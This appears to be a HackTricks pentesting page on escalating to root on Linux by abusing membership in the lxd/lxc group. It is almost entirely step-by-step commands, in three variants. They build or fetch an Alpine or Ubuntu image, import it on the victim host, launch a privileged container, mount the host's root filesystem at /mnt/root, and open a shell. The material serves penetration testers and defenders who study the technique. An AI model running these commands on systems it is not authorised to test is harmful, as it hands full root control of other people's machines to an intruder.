HackTricks
Search…
Pentesting
lxd/lxc Group - Privilege escalation
If you belong to lxd or lxc group, you can become root

Exploiting without internet

Method 1

You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):
1
sudo su
2
#Install requirements
3
sudo apt update
4
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
5
#Clone repo
6
sudo go get -d -v github.com/lxc/distrobuilder
7
#Make distrobuilder
8
cd $HOME/go/src/github.com/lxc/distrobuilder
9
make
10
#Prepare the creation of alpine
11
mkdir -p $HOME/ContainerImages/alpine/
12
cd $HOME/ContainerImages/alpine/
13
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
14
#Create the container
15
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
Copied!
Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs
Add the image:
1
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
2
lxc image list #You can see your new imported image
Copied!
Create a container and add root path
1
lxc init alpine privesc -c security.privileged=true
2
lxc list #List containers
3
4
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Copied!
If you find this error Error: No storage pool found. Please create a new storage pool Run lxc init and repeat the previous chunk of commands
Execute the container:
1
lxc start privesc
2
lxc exec privesc /bin/sh
3
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Copied!

Method 2

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.
1
# build a simple alpine image
2
git clone https://github.com/saghul/lxd-alpine-builder
3
cd lxd-alpine-builder
4
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
5
sudo ./build-alpine -a i686
6
7
# import the image
8
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
9
10
# before running the image, start and configure the lxd storage pool as default
11
lxd init
12
13
# run the image
14
lxc init myimage mycontainer -c security.privileged=true
15
16
# mount the /root into the image
17
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
18
19
# interact with the container
20
lxc start mycontainer
21
lxc exec mycontainer /bin/sh
Copied!

With internet

You can follow these instructions.
1
lxc init ubuntu:16.04 test -c security.privileged=true
2
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
3
lxc start test
4
lxc exec test bash
5
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Copied!

Other Refs

Privilege Escalation via lxd
Bouge Security
Last modified 3mo ago